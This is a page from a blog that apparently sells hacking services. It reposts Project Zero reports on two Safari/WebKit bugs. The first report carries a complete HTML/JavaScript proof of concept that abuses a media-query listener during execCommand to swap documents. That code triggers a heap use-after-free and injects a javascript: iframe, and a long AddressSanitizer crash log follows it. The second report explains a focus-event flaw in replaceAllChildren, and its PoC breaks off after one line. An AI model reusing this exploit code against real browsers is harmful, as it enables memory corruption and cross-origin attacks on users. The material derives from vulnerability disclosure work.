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A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133

Here's a snippet of Editor::Command::execute used to handle |document.execCommand|.

bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
    if (!isEnabled(triggeringEvent)) {
        // Let certain commands be executed when performed explicitly even if they are disabled.
        if (!allowExecutionWhenDisabled())
            return false;
    }
    m_frame->document()->updateLayoutIgnorePendingStylesheets();
    return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}

This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.

Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build.
Note 2: If the PoC doesn't work, adjust sleep().

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

<!--
UAF Asan Log:
=================================================================
==3526==ERROR: AddressSanitizer: heap-use-after-free on address 0x61700004d1d8 at pc 0x000117706e8b bp 0x7fff5349d050 sp 0x7fff5349d048
READ of size 8 at 0x61700004d1d8 thread T0
    #0 0x117706e8a in WebCore::RenderView::flushAccumulatedRepaintRegion() const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a)
    #1 0x115959230 in WebCore::Document::updateLayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d8230)
    #2 0x11595f6fb in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6de6fb)
    #3 0x115ae7206 in WebCore::Element::offsetLeft() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x866206)
    #4 0x11661b82b in WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x139a82b)
    #5 0x116609fe3 in long long WebCore::BindingCaller<WebCore::JSElement>::attribute<&(WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1388fe3)
    #6 0x112c20808 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1588808)
    #7 0x1129593be in llint_slow_path_get_by_id (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c13be)
    #8 0x1129767b6 in llint_entry (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12de7b6)
    #9 0x11297395a in vmEntryToJavaScript (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12db95a)
    #10 0x11262d662 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf95662)
    #11 0x1125b12f8 in JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf192f8)
    #12 0x111d90a8c in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8a8c)
    #13 0x111d90c8e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8c8e)
    #14 0x1177db273 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x255a273)
    #15 0x1177dade4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2559de4)
    #16 0x1177ee9d1 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256d9d1)
    #17 0x1177eb9ba in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256a9ba)
    #18 0x115f62940 in WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1940)
    #19 0x115f62685 in WebCore::HTMLScriptRunner::execute(WTF::Ref<WebCore::ScriptElement>&&, WTF::TextPosition const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce1685)
    #20 0x115e83cae in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc02cae)
    #21 0x115e84392 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03392)
    #22 0x115e835c4 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc025c4)
    #23 0x115e84fbd in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc03fbd)
    #24 0x1158dfde1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x65ede1)
    #25 0x115a125b8 in WebCore::DocumentWriter::end() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7915b8)
    #26 0x1159d5a6e in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x754a6e)
    #27 0x1154dc8c7 in WebCore::CachedResource::checkNotify() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25b8c7)
    #28 0x1154d623d in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25523d)
    #29 0x117afd1eb in WebCore::SubresourceLoader::didFinishLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287c1eb)
    #30 0x10f774825 in WebKit::WebResourceLoader::didFinishResourceLoad(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x996825)
    #31 0x10f777c05 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999c05)
    #32 0x10f7770ff in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9990ff)
    #33 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #34 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #35 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #36 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #37 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #38 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #39 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #40 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #41 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
    #42 0x7fff7d22fa5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #43 0x7fff7d22f890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #44 0x7fff7d22f6c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #45 0x7fff7b7d55b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #46 0x7fff7bf4fd6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #47 0x7fff7b7c9f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #48 0x7fff7b79484f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #49 0x7fff9345f8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #50 0x7fff9345e2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #51 0x10c75db73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #52 0x7fff931fb254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61700004d1d8 is located 344 bytes inside of 720-byte region [0x61700004d080,0x61700004d350)
freed by thread T0 here:
    #0 0x10c7bdcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x112fb56bf in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191d6bf)
    #2 0x11599f26f in WebCore::RenderPtr<WebCore::RenderView>::clear() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x71e26f)
    #3 0x11596212d in WebCore::RenderPtr<WebCore::RenderView>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e112d)
    #4 0x115961ce0 in WebCore::Document::destroyRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0ce0)
    #5 0x1159622e2 in WebCore::Document::prepareForDestruction() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e12e2)
    #6 0x115cbef2a in WebCore::Frame::setView(WTF::RefPtr<WebCore::FrameView>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3df2a)
    #7 0x115cc1ed4 in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa40ed4)
    #8 0x10f40a85b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62c85b)
    #9 0x115cd84bf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa574bf)
    #10 0x115cd7593 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa56593)
    #11 0x1159d59cc in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7549cc)
    #12 0x1159ddc2e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75cc2e)
    #13 0x1159de008 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75d008)
    #14 0x115cdb9f1 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a9f1)
    #15 0x115cd5433 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa54433)
    #16 0x117283965 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2002965)
    #17 0x1172837bf in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x20027bf)
    #18 0x11728511a in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x200411a)
    #19 0x10f3f49ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6169ee)
    #20 0x10f3f4846 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x616846)
    #21 0x10f40494d in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x62694d)
    #22 0x117284bb9 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2003bb9)
    #23 0x115cd413c in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5313c)
    #24 0x115cd2e76 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa51e76)
    #25 0x115ccf7a1 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa4e7a1)
    #26 0x115cc8af0 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47af0)
    #27 0x115cc8079 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa47079)
    #28 0x115cc82fa in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa472fa)
    #29 0x115e39f39 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbb8f39)

previously allocated by thread T0 here:
    #0 0x10c7bd790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff9337d2d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x112fbf184 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1927184)
    #3 0x112fb447b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191c47b)
    #4 0x112f4d245 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b5245)
    #5 0x112f4c528 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b4528)
    #6 0x11596140d in WebCore::RenderPtr<WebCore::RenderView> WebCore::createRenderer<WebCore::RenderView, WebCore::Document&, WebCore::RenderStyle>(WebCore::Document&&&, WebCore::RenderStyle&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e040d)
    #7 0x1159611ed in WebCore::Document::createRenderTree() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e01ed)
    #8 0x115961519 in WebCore::Document::didBecomeCurrentDocumentInFrame() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6e0519)
    #9 0x115cbf910 in WebCore::Frame::setDocument(WTF::RefPtr<WebCore::Document>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e910)
    #10 0x115a11f94 in WebCore::DocumentWriter::begin(WebCore::URL const&, bool, WebCore::Document*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x790f94)
    #11 0x1159d6365 in WebCore::DocumentLoader::commitData(char const*, unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x755365)
    #12 0x10f406052 in WebKit::WebFrameLoaderClient::committedLoad(WebCore::DocumentLoader*, char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x628052)
    #13 0x1159d995c in WebCore::DocumentLoader::commitLoad(char const*, int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x75895c)
    #14 0x1154d5eff in WebCore::CachedRawResource::notifyClientsDataWasReceived(char const*, unsigned int) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254eff)
    #15 0x1154d5cf5 in WebCore::CachedRawResource::addDataBuffer(WebCore::SharedBuffer&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x254cf5)
    #16 0x117afe96c in WebCore::SubresourceLoader::didReceiveDataOrBuffer(char const*, int, WTF::RefPtr<WebCore::SharedBuffer>&&, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d96c)
    #17 0x117afe695 in WebCore::SubresourceLoader::didReceiveData(char const*, unsigned int, long long, WebCore::DataPayloadType) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x287d695)
    #18 0x10f7740b5 in WebKit::WebResourceLoader::didReceiveData(IPC::DataReference const&, long long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9960b5)
    #19 0x10f777ab4 in void IPC::handleMessage<Messages::WebResourceLoader::DidReceiveData, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(IPC::DataReference const&, long long)) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999ab4)
    #20 0x10f777043 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x999043)
    #21 0x10f0b75c9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d95c9)
    #22 0x10ee925a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb45a8)
    #23 0x10ee9bbf4 in IPC::Connection::dispatchOneMessage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xbdbf4)
    #24 0x112f6c764 in WTF::RunLoop::performWork() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d4764)
    #25 0x112f6ec7e in WTF::RunLoop::performWork(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18d6c7e)
    #26 0x7fff7dcc3980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #27 0x7fff7dca4a7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #28 0x7fff7dca3f75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #29 0x7fff7dca3973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a) in WebCore::RenderView::flushAccumulatedRepaintRegion() const
Shadow bytes around the buggy address:
  0x1c2e000099e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e000099f0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c2e00009a30: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c2e00009a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2e00009a60: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x1c2e00009a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c2e00009a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3526==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119

This is somewhat similar to https://crbug.com/663476.

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).
-->

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
